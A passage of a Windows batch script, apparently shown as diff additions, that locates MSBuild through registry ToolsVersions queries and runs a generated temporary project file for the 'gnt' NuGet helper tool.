a=%args:~0,30% +set a=%a:"=% + +if "%a:~0,7%"=="-unpack" goto unpack +if "%a:~0,8%"=="-msbuild" goto ufound + +for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do ( + for /F "usebackq tokens=2* skip=2" %%a in ( + `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` + ) do if exist %%b ( + set msbuild="%%b\msbuild.exe" + goto found + ) +) +echo MSBuild was not found, try: gnt -msbuild "fullpath" args 1>&2 +goto exit + + +:ufound +call :popa %1 +shift +set msbuild=%1 +call :popa %1 + +:found +call :core +%msbuild% %tgnt% /nologo /p:wpath="%~dp0/" /v:m %args% +del /Q/F %tgnt% +goto exit + +:popa +call set args=%%args:%1^=%% +exit /B 0 + +:unpack +set tgnt=%~dp0\%gntcore% +echo Generate minified version in %tgnt% ... + +:core +%tgnt% +^